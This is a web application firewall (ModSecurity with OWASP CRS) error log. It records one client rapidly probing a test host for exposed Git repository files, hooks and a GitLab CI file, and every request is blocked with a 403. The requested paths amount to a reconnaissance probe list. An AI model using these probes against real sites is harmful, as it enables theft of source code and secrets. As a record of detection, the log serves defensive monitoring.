[Thu Mar 12 21:45:17.413912 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "abMl3fv0eBlLRFPxh3wEAwAAAAM"]
[Thu Mar 12 21:45:17.414100 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "abMl3fv0eBlLRFPxh3wEAwAAAAM"]
[Thu Mar 12 21:45:17.414225 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/heads/main"] [unique_id "abMl3fv0eBlLRFPxh3wEAwAAAAM"]
[Thu Mar 12 21:45:17.437861 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/remotes/origin/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wEBAAAAAM"]
[Thu Mar 12 21:45:17.438074 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wEBAAAAAM"]
[Thu Mar 12 21:45:17.438215 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/refs/remotes/origin/HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wEBAAAAAM"]
[Thu Mar 12 21:45:17.460254 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/packed-refs"] [unique_id "abMl3fv0eBlLRFPxh3wEBQAAAAM"]
[Thu Mar 12 21:45:17.460449 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/packed-refs"] [unique_id "abMl3fv0eBlLRFPxh3wEBQAAAAM"]
[Thu Mar 12 21:45:17.460581 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/packed-refs"] [unique_id "abMl3fv0eBlLRFPxh3wEBQAAAAM"]
[Thu Mar 12 21:45:17.484928 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects"] [unique_id "abMl3fv0eBlLRFPxh3wEBgAAAAM"]
[Thu Mar 12 21:45:17.485122 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects"] [unique_id "abMl3fv0eBlLRFPxh3wEBgAAAAM"]
[Thu Mar 12 21:45:17.485260 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/objects"] [unique_id "abMl3fv0eBlLRFPxh3wEBgAAAAM"]
[Thu Mar 12 21:45:17.507963 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "abMl3fv0eBlLRFPxh3wEBwAAAAM"]
[Thu Mar 12 21:45:17.508160 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "abMl3fv0eBlLRFPxh3wEBwAAAAM"]
[Thu Mar 12 21:45:17.508287 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "abMl3fv0eBlLRFPxh3wEBwAAAAM"]
[Thu Mar 12 21:45:17.530273 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/description"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/description"] [unique_id "abMl3fv0eBlLRFPxh3wECAAAAAM"]
[Thu Mar 12 21:45:17.530482 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/description"] [unique_id "abMl3fv0eBlLRFPxh3wECAAAAAM"]
[Thu Mar 12 21:45:17.530617 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/description"] [unique_id "abMl3fv0eBlLRFPxh3wECAAAAAM"]
[Thu Mar 12 21:45:17.552702 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/FETCH_HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wECQAAAAM"]
[Thu Mar 12 21:45:17.552894 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/FETCH_HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wECQAAAAM"]
[Thu Mar 12 21:45:17.553023 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/FETCH_HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wECQAAAAM"]
[Thu Mar 12 21:45:17.575069 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/ORIG_HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wECgAAAAM"]
[Thu Mar 12 21:45:17.575265 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/ORIG_HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wECgAAAAM"]
[Thu Mar 12 21:45:17.575393 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/ORIG_HEAD"] [unique_id "abMl3fv0eBlLRFPxh3wECgAAAAM"]
[Thu Mar 12 21:45:17.826666 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "abMl3fv0eBlLRFPxh3wEFQAAAAM"]
[Thu Mar 12 21:45:17.826859 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "abMl3fv0eBlLRFPxh3wEFQAAAAM"]
[Thu Mar 12 21:45:17.826989 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitlab-ci.yml"] [unique_id "abMl3fv0eBlLRFPxh3wEFQAAAAM"]
[Thu Mar 12 21:45:17.940431 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "abMl3fv0eBlLRFPxh3wEGgAAAAM"]
[Thu Mar 12 21:45:17.940624 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "abMl3fv0eBlLRFPxh3wEGgAAAAM"]
[Thu Mar 12 21:45:17.940766 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "abMl3fv0eBlLRFPxh3wEGgAAAAM"]
[Thu Mar 12 21:45:18.077859 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/pre-commit"] [unique_id "abMl3vv0eBlLRFPxh3wEIAAAAAM"]
[Thu Mar 12 21:45:18.078066 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/pre-commit"] [unique_id "abMl3vv0eBlLRFPxh3wEIAAAAAM"]
[Thu Mar 12 21:45:18.078214 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/pre-commit"] [unique_id "abMl3vv0eBlLRFPxh3wEIAAAAAM"]
[Thu Mar 12 21:45:18.100280 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/post-commit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/post-commit"] [unique_id "abMl3vv0eBlLRFPxh3wEIQAAAAM"]
[Thu Mar 12 21:45:18.100489 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/post-commit"] [unique_id "abMl3vv0eBlLRFPxh3wEIQAAAAM"]
[Thu Mar 12 21:45:18.100630 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/hooks/post-commit"] [unique_id "abMl3vv0eBlLRFPxh3wEIQAAAAM"]
[Thu Mar 12 21:45:18.122700 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info"] [unique_id "abMl3vv0eBlLRFPxh3wEIgAAAAM"]
[Thu Mar 12 21:45:18.122898 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info"] [unique_id "abMl3vv0eBlLRFPxh3wEIgAAAAM"]
[Thu Mar 12 21:45:18.123035 2026] [:error] [pid 2656516] [client 185.177.72.13:17304] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info"] [unique_id "abMl3vv0eBlLRFPxh3wEIgAAAAM"]
